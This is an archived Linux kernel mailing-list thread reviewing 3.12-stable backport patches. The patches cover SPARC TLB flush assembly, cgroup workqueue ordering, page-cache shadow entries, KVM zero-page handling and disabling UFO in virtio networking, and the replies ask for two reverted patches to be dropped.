@@ -683,6 +742,52 @@ xcall_fetch_glob_pmu_n4: retry +__cheetah_xcall_flush_tlb_kernel_range: /* 44 insns */ + sethi %hi(PAGE_SIZE - 1), %g2 + or %g2, %lo(PAGE_SIZE - 1), %g2 + andn %g1, %g2, %g1 + andn %g7, %g2, %g7 + sub %g7, %g1, %g3 + srlx %g3, 18, %g2 + brnz,pn %g2, 2f + add %g2, 1, %g2 + sub %g3, %g2, %g3 + or %g1, 0x20, %g1 ! Nucleus +1: stxa %g0, [%g1 + %g3] ASI_DMMU_DEMAP + stxa %g0, [%g1 + %g3] ASI_IMMU_DEMAP + membar #Sync + brnz,pt %g3, 1b + sub %g3, %g2, %g3 + retry +2: mov 0x80, %g2 + stxa %g0, [%g2] ASI_DMMU_DEMAP + membar #Sync + stxa %g0, [%g2] ASI_IMMU_DEMAP + membar #Sync + retry + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + #ifdef DCACHE_ALIASING_POSSIBLE .align 32 .globl xcall_flush_dcache_page_cheetah
@@ -798,18 +903,20 @@ __hypervisor_xcall_flush_tlb_page: /* 20 insns */ nop .globl __hypervisor_xcall_flush_tlb_kernel_range -__hypervisor_xcall_flush_tlb_kernel_range: /* 28 insns */ +__hypervisor_xcall_flush_tlb_kernel_range: /* 44 insns */ /* %g1=start, %g7=end, g2,g3,g4,g5,g6=scratch */ sethi %hi(PAGE_SIZE - 1), %g2 or %g2, %lo(PAGE_SIZE - 1), %g2 andn %g1, %g2, %g1 andn %g7, %g2, %g7 sub %g7, %g1, %g3 + srlx %g3, 18, %g7 add %g2, 1, %g2 sub %g3, %g2, %g3 mov %o0, %g2 mov %o1, %g4 - mov %o2, %g7 + brnz,pn %g7, 2f + mov %o2, %g7 1: add %g1, %g3, %o0 /* ARG0: virtual address */ mov 0, %o1 /* ARG1: mmu context */ mov HV_MMU_ALL, %o2 /* ARG2: flags */
@@ -820,7 +927,7 @@ __hypervisor_xcall_flush_tlb_kernel_range: /* 28 insns */ sethi %hi(PAGE_SIZE), %o2 brnz,pt %g3, 1b sub %g3, %o2, %g3 - mov %g2, %o0 +5: mov %g2, %o0 mov %g4, %o1 mov %g7, %o2 membar #Sync
@@ -828,6 +935,20 @@ __hypervisor_xcall_flush_tlb_kernel_range: /* 28 insns */ 1: sethi %hi(__hypervisor_tlb_xcall_error), %g4 jmpl %g4 + %lo(__hypervisor_tlb_xcall_error), %g0 nop +2: mov %o3, %g1 + mov %o5, %g3 + mov 0, %o0 /* ARG0: CPU lists unimplemented */ + mov 0, %o1 /* ARG1: CPU lists unimplemented */ + mov 0, %o2 /* ARG2: mmu context == nucleus */ + mov HV_MMU_ALL, %o3 /* ARG3: flags */ + mov HV_FAST_MMU_DEMAP_CTX, %o5 + ta HV_FAST_TRAP + mov %g1, %o3 + brz,pt %o0, 5b + mov %g3, %o5 + mov HV_FAST_MMU_DEMAP_CTX, %g6 + ba,pt %xcc, 1b + clr %g5 /* These just get rescheduled to PIL vectors. */ .globl xcall_call_function
@@ -864,6 +985,58 @@ xcall_kgdb_capture: #endif /* CONFIG_SMP */ + .globl cheetah_patch_cachetlbops +cheetah_patch_cachetlbops: + save %sp, -128, %sp + + sethi %hi(__flush_tlb_mm), %o0 + or %o0, %lo(__flush_tlb_mm), %o0 + sethi %hi(__cheetah_flush_tlb_mm), %o1 + or %o1, %lo(__cheetah_flush_tlb_mm), %o1 + call tlb_patch_one + mov 19, %o2 + + sethi %hi(__flush_tlb_page), %o0 + or %o0, %lo(__flush_tlb_page), %o0 + sethi %hi(__cheetah_flush_tlb_page), %o1 + or %o1, %lo(__cheetah_flush_tlb_page), %o1 + call tlb_patch_one + mov 22, %o2 + + sethi %hi(__flush_tlb_pending), %o0 + or %o0, %lo(__flush_tlb_pending), %o0 + sethi %hi(__cheetah_flush_tlb_pending), %o1 + or %o1, %lo(__cheetah_flush_tlb_pending), %o1 + call tlb_patch_one + mov 27, %o2 + + sethi %hi(__flush_tlb_kernel_range), %o0 + or %o0, %lo(__flush_tlb_kernel_range), %o0 + sethi %hi(__cheetah_flush_tlb_kernel_range), %o1 + or %o1, %lo(__cheetah_flush_tlb_kernel_range), %o1 + call tlb_patch_one + mov 31, %o2 + +#ifdef DCACHE_ALIASING_POSSIBLE + sethi %hi(__flush_dcache_page), %o0 + or %o0, %lo(__flush_dcache_page), %o0 + sethi %hi(__cheetah_flush_dcache_page), %o1 + or %o1, %lo(__cheetah_flush_dcache_page), %o1 + call tlb_patch_one + mov 11, %o2 +#endif /* DCACHE_ALIASING_POSSIBLE */ + +#ifdef CONFIG_SMP + sethi %hi(xcall_flush_tlb_kernel_range), %o0 + or %o0, %lo(xcall_flush_tlb_kernel_range), %o0 + sethi %hi(__cheetah_xcall_flush_tlb_kernel_range), %o1 + or %o1, %lo(__cheetah_xcall_flush_tlb_kernel_range), %o1 + call tlb_patch_one + mov 44, %o2 +#endif /* CONFIG_SMP */ + + ret + restore .globl hypervisor_patch_cachetlbops hypervisor_patch_cachetlbops:
@@ -895,7 +1068,7 @@ hypervisor_patch_cachetlbops: sethi %hi(__hypervisor_flush_tlb_kernel_range), %o1 or %o1, %lo(__hypervisor_flush_tlb_kernel_range), %o1 call tlb_patch_one - mov 19, %o2 + mov 31, %o2 #ifdef DCACHE_ALIASING_POSSIBLE sethi %hi(__flush_dcache_page), %o0
@@ -926,7 +1099,7 @@ hypervisor_patch_cachetlbops: sethi %hi(__hypervisor_xcall_flush_tlb_kernel_range), %o1 or %o1, %lo(__hypervisor_xcall_flush_tlb_kernel_range), %o1 call tlb_patch_one - mov 28, %o2 + mov 44, %o2 #endif /* CONFIG_SMP */ ret
Signature · 1 line
2.10.2
PATCH 118/127 cgroup: use an ordered workqueue for cgroup destruction
In reply to Jiri SlabyFrom: Hugh Dickins <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit ab3f5faa6255a0eb4f832675507d9e295ca7e9ba upstream.
Sometimes the cleanup after memcg hierarchy testing gets stuck in mem_cgroup_reparent_charges(), unable to bring non-kmem usage down to 0.
There may turn out to be several causes, but a major cause is this: the workitem to offline parent can get run before workitem to offline child; parent's mem_cgroup_reparent_charges() circles around waiting for the child's pages to be reparented to its lrus, but it's holding cgroup_mutex which prevents the child from reaching its mem_cgroup_reparent_charges().
Just use an ordered workqueue for cgroup_destroy_wq.
tj: Committing as the temporary fix until the reverse dependency can
be removed from memcg. Comment updated accordingly.
--- kernel/cgroup.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-)
kernel/cgroup.c +6 -2
@@ -5168,12 +5168,16 @@ static int __init cgroup_wq_init(void)/* * There isn't much point in executing destruction path in * parallel. Good chunk is serialized with cgroup_mutex anyway. -* Use 1 for @max_active. +* +* XXX: Must be ordered to make sure parent is offlined after +* children. The ordering requirement is for memcg where a +* parent's offline may wait for a child's leading to deadlock. In +* the long term, this should be fixed from memcg side. * * We would prefer to do this in cgroup_init() above, but that * is called before init_workqueues(): so leave this until after. */ - cgroup_destroy_wq =alloc_workqueue ("cgroup_destroy" ,0 ,1 ); + cgroup_destroy_wq =alloc_ordered_workqueue ("cgroup_destroy" ,0 );BUG_ON (!cgroup_destroy_wq);return 0 ; }
Signature · 1 line
2.10.2
Re: [PATCH 3.12 118/127] cgroup: use an ordered workqueue for cgroup destruction
Quoted 19 lines · Jiri Slaby
From: Hugh Dickins <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit
ab3f5faa6255a0eb4f832675507d9e295ca7e9baupstream.Sometimes the cleanup after memcg hierarchy testing gets stuck in
mem_cgroup_reparent_charges(), unable to bring non-kmem usage down to 0.There may turn out to be several causes, but a major cause is this: the workitem to offline parent can get run before workitem to offline child; parent's
mem_cgroup_reparent_charges()circles around waiting for the child's pages to be reparented to its lrus, but it's holdingcgroup_mutexwhich prevents the child from reaching itsmem_cgroup_reparent_charges().Just use an ordered workqueue for
cgroup_destroy_wq.
Quoted 8 lines
tj: Committing as the temporary fix until the reverse dependency can
be removed from memcg. Comment updated accordingly.Fixes e5fca243abae ("cgroup: use a dedicated workqueue for cgroup destruction")Suggested-by Filipe Brandenburger <[email protected]>Signed-off-by Hugh Dickins <[email protected]>Signed-off-by Tejun Heo <[email protected]>Signed-off-by Jiri Slaby <[email protected]>
No, please drop this one. It was indeed marked for stable at the time, but then reverted by 1a11533fbd71792e8c5d36f6763fbce8df0d231d; and you already have in 3.12-stable the commit which in the end we used to fix the issue, 4fb1a86fb5e4209a7d4426d4e586c58e9edc74ac
"memcg: reparent charges of children before processing parent".
My fault for inadequate testing originally, sorry for the confusion, Hugh
Quoted 29 lines
--- kernel/cgroup.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-)kernel/cgroup.c +6
-2@@ -5168,12 +5168,16 @@ static int __init cgroup_wq_init(void)/* * There isn't much point in executing destruction path in * parallel. Good chunk is serialized with cgroup_mutex anyway. -* Use 1 for @max_active. +* +* XXX: Must be ordered to make sure parent is offlined after +* children. The ordering requirement is for memcg where a +* parent's offline may wait for a child's leading to deadlock. In +* the long term, this should be fixed from memcg side. * * We would prefer to do this in cgroup_init() above, but that * is called before init_workqueues(): so leave this until after. */ - cgroup_destroy_wq =alloc_workqueue ("cgroup_destroy" ,0 ,1 ); + cgroup_destroy_wq =alloc_ordered_workqueue ("cgroup_destroy" ,0 );BUG_ON (!cgroup_destroy_wq);return 0 ; }Signature · 1 line
2.10.2
Re: [PATCH 3.12 118/127] cgroup: use an ordered workqueue for cgroup destruction
Quoted 24 lines · Hugh Dickins
Quoted 22 lines · Jiri Slaby
From: Hugh Dickins <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit
ab3f5faa6255a0eb4f832675507d9e295ca7e9baupstream.Sometimes the cleanup after memcg hierarchy testing gets stuck in
mem_cgroup_reparent_charges(), unable to bring non-kmem usage down to 0.There may turn out to be several causes, but a major cause is this: the workitem to offline parent can get run before workitem to offline child; parent's
mem_cgroup_reparent_charges()circles around waiting for the child's pages to be reparented to its lrus, but it's holdingcgroup_mutexwhich prevents the child from reaching itsmem_cgroup_reparent_charges().Just use an ordered workqueue for
cgroup_destroy_wq.tj: Committing as the temporary fix until the reverse dependency can
be removed from memcg. Comment updated accordingly.
Quoted 7 lines
Quoted 5 lines
Fixes e5fca243abae ("cgroup: use a dedicated workqueue for cgroup destruction")Suggested-by Filipe Brandenburger <[email protected]>Signed-off-by Hugh Dickins <[email protected]>Signed-off-by Tejun Heo <[email protected]>Signed-off-by Jiri Slaby <[email protected]>No, please drop this one.
Dropped, thank you!
Signature · 2 lines
js suse labs
PATCH 119/127 mm: filemap: update find_get_pages_tag() to deal with shadow entries
In reply to Jiri SlabyFrom: Johannes Weiner <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 139b6a6fb1539e04b01663d61baff3088c63dbb5 upstream.
Dave Jones reports the following crash when find_get_pages_tag() runs into an exceptional entry:
kernel BUG at mm/filemap.c:1347!
RIP: find_get_pages_tag+0x1cb/0x220
Call Trace:
find_get_pages_tag+0x36/0x220
pagevec_lookup_tag+0x21/0x30
filemap_fdatawait_range+0xbe/0x1e0
filemap_fdatawait+0x27/0x30
sync_inodes_sb+0x204/0x2a0
sync_inodes_one_sb+0x19/0x20
iterate_supers+0xb2/0x110
sys_sync+0x44/0xb0
ia32_do_call+0x13/0x131343 /*
1344 * This function is never used on a shmem/tmpfs 1345 * mapping, so a swap entry won't be found here. 1346 */
1347 BUG();
After commit 0cd6144aadd2 ("mm + fs: prepare for non-page entries in page cache radix trees") this comment and BUG() are out of date because exceptional entries can now appear in all mappings - as shadows of recently evicted pages.
However, as Hugh Dickins notes,
"it is truly surprising for a PAGECACHE_TAG_WRITEBACK (and probably
any other PAGECACHE_TAG_*) to appear on an exceptional entry.
I expect it comes down to an occasional race in RCU lookup of the
radix_tree: lacking absolute synchronization, we might sometimes catch an exceptional entry, with the tag which really belongs with the unexceptional entry which was there an instant before."
And indeed, not only is the tree walk lockless, the tags are also read in chunks, one radix tree node at a time. There is plenty of time for page reclaim to swoop in and replace a page that was already looked up as tagged with a shadow entry.
Remove the BUG() and update the comment. While reviewing all other lookup sites for whether they properly deal with shadow entries of evicted pages, update all the comments and fix memcg file charge moving to not miss shmem/tmpfs swapcache pages.
--- mm/filemap.c | 49 ++++++++++++++++++++++++++++--------------------- mm/memcontrol.c | 20 ++++++++++++-------- mm/truncate.c | 8 -------- 3 files changed, 40 insertions(+), 37 deletions(-)
mm/filemap.c +28 -21
@@ -808,8 +808,8 @@ EXPORT_SYMBOL(page_cache_prev_hole);* Looks up the page cache slot at @mapping & @offset. If there is a * page cache page, it is returned with an increased refcount. * -* If the slot holds a shadow entry of a previously evicted page, it -* is returned. +* If the slot holds a shadow entry of a previously evicted page, or a +* swap entry from shmem/tmpfs, it is returned. * * Otherwise, %NULL is returned. */
@@ -830,9 +830,9 @@ repeat:if (radix_tree_deref_retry (page)) goto repeat;/* -* Otherwise, shmem/tmpfs must be storing a swap entry -* here as an exceptional entry: so return it without -* attempting to raise page count. +* A shadow entry of a recently evicted page, +* or a swap entry from shmem/tmpfs. Return +* it without attempting to raise page count. */ goto out; }
@@ -865,8 +865,8 @@ EXPORT_SYMBOL(find_get_entry);* page cache page, it is returned locked and with an increased * refcount. * -* If the slot holds a shadow entry of a previously evicted page, it -* is returned. +* If the slot holds a shadow entry of a previously evicted page, or a +* swap entry from shmem/tmpfs, it is returned. * * Otherwise, %NULL is returned. *
@@ -999,8 +999,8 @@ EXPORT_SYMBOL(pagecache_get_page);* with ascending indexes. There may be holes in the indices due to * not-present pages. * -* Any shadow entries of evicted pages are included in the returned -* array. +* Any shadow entries of evicted pages, or swap entries from +* shmem/tmpfs, are included in the returned array. * * find_get_entries() returns the number of pages and shadow entries * which were found.
@@ -1028,9 +1028,9 @@ repeat:if (radix_tree_deref_retry (page)) goto restart;/* -* Otherwise, we must be storing a swap entry -* here as an exceptional entry: so return it -* without attempting to raise page count. +* A shadow entry of a recently evicted page, +* or a swap entry from shmem/tmpfs. Return +* it without attempting to raise page count. */ goto export; }
@@ -1098,9 +1098,9 @@ repeat: goto restart; }/* -* Otherwise, shmem/tmpfs must be storing a swap entry -* here as an exceptional entry: so skip over it - -* we only reach this from invalidate_mapping_pages(). +* A shadow entry of a recently evicted page, +* or a swap entry from shmem/tmpfs. Skip +* over it. */ continue ; }
@@ -1165,9 +1165,9 @@ repeat: goto restart; }/* -* Otherwise, shmem/tmpfs must be storing a swap entry -* here as an exceptional entry: so stop looking for -* contiguous pages. +* A shadow entry of a recently evicted page, +* or a swap entry from shmem/tmpfs. Stop +* looking for contiguous pages. */ break ; }
@@ -1241,10 +1241,17 @@ repeat: goto restart; }/* -* This function is never used on a shmem/tmpfs -* mapping, so a swap entry won't be found here. +* A shadow entry of a recently evicted page. +* +* Those entries should never be tagged, but +* this tree walk is lockless and the tags are +* looked up in bulk, one radix tree node at a +* time, so there is a sizable window for page +* reclaim to evict a page we saw tagged. +* +* Skip over it. */ -BUG (); +continue ; }if (!page_cache_get_speculative (page))
mm/memcontrol.c +12 -8
@@ -6599,16 +6599,20 @@ static struct page *mc_handle_file_pte(struct vm_area_struct *vma, pgoff =pte_to_pgoff (ptent);/* page is moved even if it's not RSS of this task(page-faulted). */ - page =find_get_page (mapping, pgoff); -#ifdef CONFIG_SWAP /* shmem/tmpfs may report page out on swap: account for that too. */ -if (radix_tree_exceptional_entry (page)) { -swp_entry_t swap =radix_to_swp_entry (page); -if (do_swap_account) - *entry = swap; - page =find_get_page (swap_address_space (swap), swap.val); - } +if (shmem_mapping (mapping)) { + page =find_get_entry (mapping, pgoff); +if (radix_tree_exceptional_entry (page)) { +swp_entry_t swp =radix_to_swp_entry (page); +if (do_swap_account) + *entry = swp; + page =find_get_page (swap_address_space (swp), swp.val); + } + }else + page =find_get_page (mapping, pgoff); +#else + page =find_get_page (mapping, pgoff);#endif return page; }
mm/truncate.c +0 -8
@@ -415,14 +415,6 @@ unsigned long invalidate_mapping_pages(struct address_space *mapping,unsigned long count =0 ;int i; -/* -* Note: this function may get called on a shmem/tmpfs mapping: -* pagevec_lookup() might then return 0 prematurely (because it -* got a gangful of swap entries); but it's hardly worth worrying -* about - it can rarely have anything to free from such a mapping -* (most pages are dirty), and already skips over any difficulties. -*/ -pagevec_init (&pvec,0 ); while (index <= end && pagevec_lookup_entries(&pvec, mapping, index, min(end - index, (pgoff_t)PAGEVEC_SIZE - 1) + 1,
Signature · 1 line
2.10.2
PATCH 120/127 mm: export symbol dependencies of is_zero_pfn()
In reply to Jiri SlabyFrom: Ard Biesheuvel <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 0b70068e47e8f0c813a902dc3d6def601fd15acb upstream.
In order to make the static inline function is_zero_pfn() callable by modules, export its symbol dependencies 'zero_pfn' and (for s390 and mips) 'zero_page_mask'.
We need this for KVM, as CONFIG_KVM is a tristate for all supported architectures except ARM and arm64, and testing a pfn whether it refers to the zero page is required to correctly distinguish the zero page from other special RAM ranges that may also have the PG_reserved bit set, but need to be treated as MMIO memory.
--- arch/mips/mm/init.c | 1 + arch/s390/mm/init.c | 1 + mm/memory.c | 2 ++ 3 files changed, 4 insertions(+)
arch/mips/mm/init.c +1 -0
@@ -74,6 +74,7 @@*/ unsigned long empty_zero_page, zero_page_mask;EXPORT_SYMBOL_GPL (empty_zero_page); +EXPORT_SYMBOL (zero_page_mask);/* * Not static inline because used by IP27 special magic initialization code
arch/s390/mm/init.c +1 -0
@@ -43,6 +43,7 @@ pgd_t swapper_pg_dir[PTRS_PER_PGD] __attribute__((__aligned__(PAGE_SIZE)));unsigned long empty_zero_page, zero_page_mask;EXPORT_SYMBOL (empty_zero_page); +EXPORT_SYMBOL (zero_page_mask);static void __init setup_zero_pages (void ) {
mm/memory.c +2 -0
@@ -116,6 +116,8 @@ __setup("norandmaps", disable_randmaps);unsigned long zero_pfn__read_mostly ;unsigned long highest_memmap_pfn__read_mostly ; +EXPORT_SYMBOL (zero_pfn); +/* * CONFIG_MMU architectures set up ZERO_PAGE in their paging_init() */
Signature · 1 line
2.10.2
PATCH 121/127 KVM: check for !is_zero_pfn() in kvm_is_mmio_pfn()
In reply to Jiri SlabyFrom: Ard Biesheuvel <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 85c8555ff07ef09261bd50d603cd4290cff5a8cc upstream.
Read-only memory ranges may be backed by the zero page, so avoid misidentifying it a a MMIO pfn.
This fixes another issue I identified when testing QEMU+KVM_UEFI, where a read to an uninitialized emulated NOR flash brought in the zero page, but mapped as a read-write device region, because kvm_is_mmio_pfn() misidentifies it as a MMIO pfn due to its PG_reserved bit being set.
--- virt/kvm/kvm_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
virt/kvm/kvm_main.c +1 -1
@@ -104,7 +104,7 @@ static bool largepages_enabled = true;bool kvm_is_mmio_pfn (pfn_t pfn) {if (pfn_valid (pfn)) -return PageReserved (pfn_to_page (pfn)); +return !is_zero_pfn (pfn) &&PageReserved (pfn_to_page (pfn));return true; }
Signature · 1 line
2.10.2
PATCH 122/127 drivers/net: Disable UFO through virtio
In reply to Jiri SlabyFrom: Ben Hutchings <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
===============
commit 3d0ad09412ffe00c9afa201d01effdb6023d09b4 upstream.
IPv6 does not allow fragmentation by routers, so there is no fragmentation ID in the fixed header. UFO for IPv6 requires the ID to be passed separately, but there is no provision for this in the virtio net protocol.
Until recently our software implementation of UFO/IPv6 generated a new ID, but this was a bug. Now we will use ID=0 for any UFO/IPv6 packet passed through a tap, which is even worse.
Unfortunately there is no distinction between UFO/IPv4 and v6 features, so disable UFO on taps and virtio_net completely until we have a proper solution.
We cannot depend on VM managers respecting the tap feature flags, so keep accepting UFO packets but log a warning the first time we do this.
--- drivers/net/macvtap.c | 13 +++++-------- drivers/net/tun.c | 19 +++++++++++-------- drivers/net/virtio_net.c | 24 ++++++++++++++---------- 3 files changed, 30 insertions(+), 26 deletions(-)
drivers/net/macvtap.c +5 -8
@@ -67,7 +67,7 @@ static struct cdev macvtap_cdev;static const struct proto_ops macvtap_socket_ops;#define TUN_OFFLOADS (NETIF_F_HW_CSUM | NETIF_F_TSO_ECN | NETIF_F_TSO | \ - NETIF_F_TSO6 | NETIF_F_UFO) + NETIF_F_TSO6)#define RX_OFFLOADS (NETIF_F_GRO | NETIF_F_LRO)#define TAP_FEATURES (NETIF_F_GSO | NETIF_F_SG | NETIF_F_FRAGLIST)
@@ -566,6 +566,8 @@ static int macvtap_skb_from_vnet_hdr(struct sk_buff *skb, gso_type =SKB_GSO_TCPV6 ;break ;case VIRTIO_NET_HDR_GSO_UDP : +pr_warn_once ("macvtap: %s: using disabled UFO feature; please fix this program\n" , + current->comm); gso_type =SKB_GSO_UDP ;if (skb->protocol ==htons (ETH_P_IPV6 ))ipv6_proxy_select_ident (skb);
@@ -613,8 +615,6 @@ static int macvtap_skb_to_vnet_hdr(const struct sk_buff *skb, vnet_hdr->gso_type =VIRTIO_NET_HDR_GSO_TCPV4 ; else if (sinfo->gso_type & SKB_GSO_TCPV6) vnet_hdr->gso_type = VIRTIO_NET_HDR_GSO_TCPV6; - else if (sinfo->gso_type & SKB_GSO_UDP) - vnet_hdr->gso_type = VIRTIO_NET_HDR_GSO_UDP; elseBUG ();if (sinfo->gso_type &SKB_GSO_TCP_ECN )
@@ -962,9 +962,6 @@ static int set_offload(struct macvtap_queue *q, unsigned long arg)if (arg &TUN_F_TSO6 ) feature_mask |=NETIF_F_TSO6 ; } - -if (arg &TUN_F_UFO ) - feature_mask |=NETIF_F_UFO ; }/* tun/tap driver inverts the usage for TSO offloads, where
@@ -975,7 +972,7 @@ static int set_offload(struct macvtap_queue *q, unsigned long arg)* When user space turns off TSO, we turn off GSO/LRO so that * user-space will not receive TSO frames. */ -if (feature_mask & (NETIF_F_TSO |NETIF_F_TSO6 |NETIF_F_UFO )) +if (feature_mask & (NETIF_F_TSO |NETIF_F_TSO6 )) features |=RX_OFFLOADS ;else features &= ~RX_OFFLOADS ;
@@ -1076,7 +1073,7 @@ static long macvtap_ioctl(struct file *file, unsigned int cmd,case TUNSETOFFLOAD :/* let the user check for future flags */ if (arg & ~(TUN_F_CSUM |TUN_F_TSO4 |TUN_F_TSO6 | -TUN_F_TSO_ECN |TUN_F_UFO )) +TUN_F_TSO_ECN ))return -EINVAL ;rtnl_lock ();
drivers/net/tun.c +11 -8
@@ -173,7 +173,7 @@ struct tun_struct {struct net_device *dev;netdev_features_t set_features;#define TUN_USER_FEATURES (NETIF_F_HW_CSUM|NETIF_F_TSO_ECN|NETIF_F_TSO| \ - NETIF_F_TSO6|NETIF_F_UFO) + NETIF_F_TSO6)int vnet_hdr_sz;int sndbuf;
@@ -1113,10 +1113,20 @@ static ssize_t tun_get_user(struct tun_struct *tun, struct tun_file *tfile,skb_shinfo (skb)->gso_type =SKB_GSO_TCPV6 ;break ;case VIRTIO_NET_HDR_GSO_UDP : + { +static bool warned; + +if (!warned) { + warned = true; +netdev_warn (tun->dev, +"%s: using disabled UFO feature; please fix this program\n" , + current->comm); + }skb_shinfo (skb)->gso_type =SKB_GSO_UDP ;if (skb->protocol ==htons (ETH_P_IPV6 ))ipv6_proxy_select_ident (skb);break ; + }default : tun->dev->stats.rx_frame_errors++;kfree_skb (skb);
@@ -1220,8 +1230,6 @@ static ssize_t tun_put_user(struct tun_struct *tun, gso.gso_type =VIRTIO_NET_HDR_GSO_TCPV4 ; else if (sinfo->gso_type & SKB_GSO_TCPV6) gso.gso_type = VIRTIO_NET_HDR_GSO_TCPV6; - else if (sinfo->gso_type & SKB_GSO_UDP) - gso.gso_type = VIRTIO_NET_HDR_GSO_UDP; else { pr_err("unexpected GSO type: " "0x%x, gso_size %d, hdr_len %d\n",
@@ -1750,11 +1758,6 @@ static int set_offload(struct tun_struct *tun, unsigned long arg) features |=NETIF_F_TSO6 ; arg &= ~(TUN_F_TSO4 |TUN_F_TSO6 ); } - -if (arg &TUN_F_UFO ) { - features |=NETIF_F_UFO ; - arg &= ~TUN_F_UFO ; - } }/* This gives the user a way to test for new features in future by
drivers/net/virtio_net.c +14 -10
@@ -438,8 +438,17 @@ static void receive_buf(struct receive_queue *rq, void *buf, unsigned int len)skb_shinfo (skb)->gso_type =SKB_GSO_TCPV4 ;break ;case VIRTIO_NET_HDR_GSO_UDP : + { +static bool warned; + +if (!warned) { + warned = true; +netdev_warn (dev, +"host using disabled UFO feature; please fix it\n" ); + }skb_shinfo (skb)->gso_type =SKB_GSO_UDP ;break ; + }case VIRTIO_NET_HDR_GSO_TCPV6 :skb_shinfo (skb)->gso_type =SKB_GSO_TCPV6 ;break ;
@@ -754,8 +763,6 @@ static int xmit_skb(struct send_queue *sq, struct sk_buff *skb) hdr->hdr.gso_type =VIRTIO_NET_HDR_GSO_TCPV4 ; else if (skb_shinfo(skb)->gso_type & SKB_GSO_TCPV6) hdr->hdr.gso_type = VIRTIO_NET_HDR_GSO_TCPV6; - else if (skb_shinfo(skb)->gso_type & SKB_GSO_UDP) - hdr->hdr.gso_type = VIRTIO_NET_HDR_GSO_UDP; elseBUG ();if (skb_shinfo (skb)->gso_type &SKB_GSO_TCP_ECN )
@@ -1572,7 +1579,7 @@ static int virtnet_probe(struct virtio_device *vdev) dev->features |=NETIF_F_HW_CSUM |NETIF_F_SG ;if (virtio_has_feature (vdev,VIRTIO_NET_F_GSO )) { - dev->hw_features |=NETIF_F_TSO |NETIF_F_UFO + dev->hw_features |=NETIF_F_TSO |NETIF_F_TSO_ECN |NETIF_F_TSO6 ; }/* Individual feature bits: what can host handle? */
@@ -1582,11 +1589,9 @@ static int virtnet_probe(struct virtio_device *vdev) dev->hw_features |=NETIF_F_TSO6 ;if (virtio_has_feature (vdev,VIRTIO_NET_F_HOST_ECN )) dev->hw_features |=NETIF_F_TSO_ECN ; -if (virtio_has_feature (vdev,VIRTIO_NET_F_HOST_UFO )) - dev->hw_features |=NETIF_F_UFO ;if (gso) - dev->features |= dev->hw_features & (NETIF_F_ALL_TSO |NETIF_F_UFO ); + dev->features |= dev->hw_features &NETIF_F_ALL_TSO ;/* (!csum && gso) case will be fixed by register_netdev() */ }if (virtio_has_feature (vdev,VIRTIO_NET_F_GUEST_CSUM ))
@@ -1621,8 +1626,7 @@ static int virtnet_probe(struct virtio_device *vdev)/* If we can receive ANY GSO packets, we must allocate large ones. */ if (virtio_has_feature (vdev,VIRTIO_NET_F_GUEST_TSO4 ) ||virtio_has_feature (vdev,VIRTIO_NET_F_GUEST_TSO6 ) || -virtio_has_feature (vdev,VIRTIO_NET_F_GUEST_ECN ) || -virtio_has_feature (vdev,VIRTIO_NET_F_GUEST_UFO )) +virtio_has_feature (vdev,VIRTIO_NET_F_GUEST_ECN )) vi->big_packets = true;if (virtio_has_feature (vdev,VIRTIO_NET_F_MRG_RXBUF ))
@@ -1808,9 +1812,9 @@ static struct virtio_device_id id_table[] = {static unsigned int features[] = {VIRTIO_NET_F_CSUM ,VIRTIO_NET_F_GUEST_CSUM ,VIRTIO_NET_F_GSO ,VIRTIO_NET_F_MAC , -VIRTIO_NET_F_HOST_TSO4 ,VIRTIO_NET_F_HOST_UFO ,VIRTIO_NET_F_HOST_TSO6 , +VIRTIO_NET_F_HOST_TSO4 ,VIRTIO_NET_F_HOST_TSO6 ,VIRTIO_NET_F_HOST_ECN ,VIRTIO_NET_F_GUEST_TSO4 ,VIRTIO_NET_F_GUEST_TSO6 , -VIRTIO_NET_F_GUEST_ECN ,VIRTIO_NET_F_GUEST_UFO , +VIRTIO_NET_F_GUEST_ECN ,VIRTIO_NET_F_MRG_RXBUF ,VIRTIO_NET_F_STATUS ,VIRTIO_NET_F_CTRL_VQ ,VIRTIO_NET_F_CTRL_RX ,VIRTIO_NET_F_CTRL_VLAN ,VIRTIO_NET_F_GUEST_ANNOUNCE ,VIRTIO_NET_F_MQ ,
Signature · 1 line
2.10.2
Re: [PATCH 3.12 122/127] drivers/net: Disable UFO through virtio
Quoted 3 lines · Jiri Slaby
From: Ben Hutchings <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
This was reverted upstream (and in the only stable branch it was applied to). 3.12 already has the compatible fix (commit 30ab1cf8b31d).
Ben.
Quoted 25 lines
===============
commit
3d0ad09412ffe00c9afa201d01effdb6023d09b4upstream.IPv6 does not allow fragmentation by routers, so there is no fragmentation ID in the fixed header. UFO for IPv6 requires the ID to be passed separately, but there is no provision for this in the virtio net protocol.
Until recently our software implementation of UFO/IPv6 generated a new ID, but this was a bug. Now we will use ID=0 for any UFO/IPv6 packet passed through a tap, which is even worse.
Unfortunately there is no distinction between UFO/IPv4 and v6 features, so disable UFO on taps and
virtio_netcompletely until we have a proper solution.We cannot depend on VM managers respecting the tap feature flags, so keep accepting UFO packets but log a warning the first time we do this.
Signed-off-by Ben Hutchings <[email protected]>Fixes 916e4cf46d02 ("ipv6: reuse ip6_frag_id from ip6_ufo_append_data")Signed-off-by David S. Miller <[email protected]>Signed-off-by Jiri Slaby <[email protected]>
[...]
Signature · 2 lines
Ben Hutchings Beware of programmers who carry screwdrivers. - Leonard Brandwein
Re: [PATCH 3.12 122/127] drivers/net: Disable UFO through virtio
Quoted 8 lines · Ben Hutchings
Quoted 3 lines · Jiri Slaby
From: Ben Hutchings <[email protected]>
3.12-stable review patch. If anyone has any objections, please let me know.
This was reverted upstream (and in the only stable branch it was applied to). 3.12 already has the compatible fix (commit
30ab1cf8b31d).
Oh, e3e3c423f82a415195a7bbbfa619bfa7b20d2db6 (the revert) applied as well.
thanks,
